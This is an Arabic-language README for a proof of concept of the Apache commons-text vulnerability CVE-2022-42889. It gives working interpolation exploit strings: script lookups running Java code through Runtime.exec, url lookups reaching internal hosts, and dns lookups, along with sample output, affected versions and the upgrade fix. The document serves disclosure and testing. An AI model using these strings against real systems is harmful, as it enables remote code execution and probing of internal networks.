
إثبات المفهوم لثغرة Apache commons-text CVE-2022-42889.
هذا هو إثبات المفهوم (PoC) للثغرة CVE-2022-42889. سيقوم هذا الكود بتشغيل كود الجافاسكربت 195 + 324. إذا كانت البيئة معرّضة للثغرة، فيجب أن يكون الناتج:
PoC Output: 519
لتشغيل هذا، ستحتاج إلى:
عندما يُطلب منك إدخال سلسلة استغلال (exploit string)، يمكنك إما توفير سلسلة الاستغلال الخاصة بك (ثم اضغط Enter لإدخال السلسلة)، أو ببساطة اضغط Enter لاستخدام سلسلة الاستغلال الافتراضية ${script:javascript:195 + 324}.
بدلاً من ذلك، يمكنك استخدام Docker لتتمكن من تشغيل إثبات المفهوم هذا:
docker build -t poc .
docker run -it poc
تنبع المشكلة من حقيقة أن المفاتيح التالية لا ينبغي استيفاؤها افتراضيًا (وفقًا للتوثيق https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):
scriptdnsurlيسمح هذا البحث (lookup) بتنفيذ كود الجافاسكربت المقدَّم. النتيجة هي قدرة المهاجم على تشغيل أي كود تعسفي على النظام.
${script:<engine>:<code>}
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}
مثال في الـ PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================
يقوم هذا البحث (lookup) باستدعاء عنوان URL المحدد. يمكن للمهاجم استغلال ذلك لإجراء طلبات GET أساسية إلى الموارد الداخلية.
${url:<character-encoding>:<url>}
${url:UTF-8::https://internal-jenkins.companyx.net/}
مثال في الـ PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================
يقوم هذا البحث (lookup) بإجراء استعلام DNS، أو بحث عكسي (reverse lookup). يمكن أن يسمح ذلك للمهاجم بتحديد الموارد الداخلية.
${dns:<address,canonical-name,name>|<host>}
${dns:address|internal-jenkins.companyx.net}
مثال في الـ PoC:
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'):
${dns:address|www.google.com}
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================
ومع ذلك، وبسبب خلل في المنطق، يتم استيفاء هذه المفاتيح الثلاثة افتراضيًا، في حين أنه لا ينبغي ذلك (نظرًا لأنها قد تمثل خطرًا أمنيًا).
المهاجم الذي يتحكم في السلسلة التي تُمرَّر إلى عملية الاستبدال (replace) في StringSubstitutor المتأثر، يمكنه أن:
StringSubstitutorلكي يكون كودك معرّضًا للثغرة، يجب أن:
تشغّل إصدارًا من Apache commons-text بدءًا من الإصدار 1.5.0 وحتى (وليس بما في ذلك) 1.10.0
تستخدم الاستيفاء (Interpolation) في استبدال السلاسل (StringSubstitution) لديك (انظر https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)
لاحظ أنه في JDK 15 وما بعده، لم يعد محرك الجافاسكربت Nashorn مضمنًا. ومع ذلك، لا يزال محرك JEXL مضمنًا، ونتيجة لذلك قد يظل تنفيذ التعليمات البرمجية عن بُعد (RCE) ممكنًا.
(تحية لـ rgmz على تسليط الضوء على هذا)
لإصلاح هذا، قم بتحديث نسخ commons-text لديك إلى الإصدار 1.10.0 أو أحدث.
قد تمثل عمليات البحث الافتراضية الأخرى أيضًا خطرًا أمنيًا محتملاً (مثل القدرة على قراءة محتوى الملفات، وقراءة خصائص النظام، وما إلى ذلك). استخدم هذه الميزة بحذر وتأكد من تعقيم جميع مدخلات المستخدم بشكل مناسب (على سبيل المثال عن طريق تمريرها عبر قائمة السماح).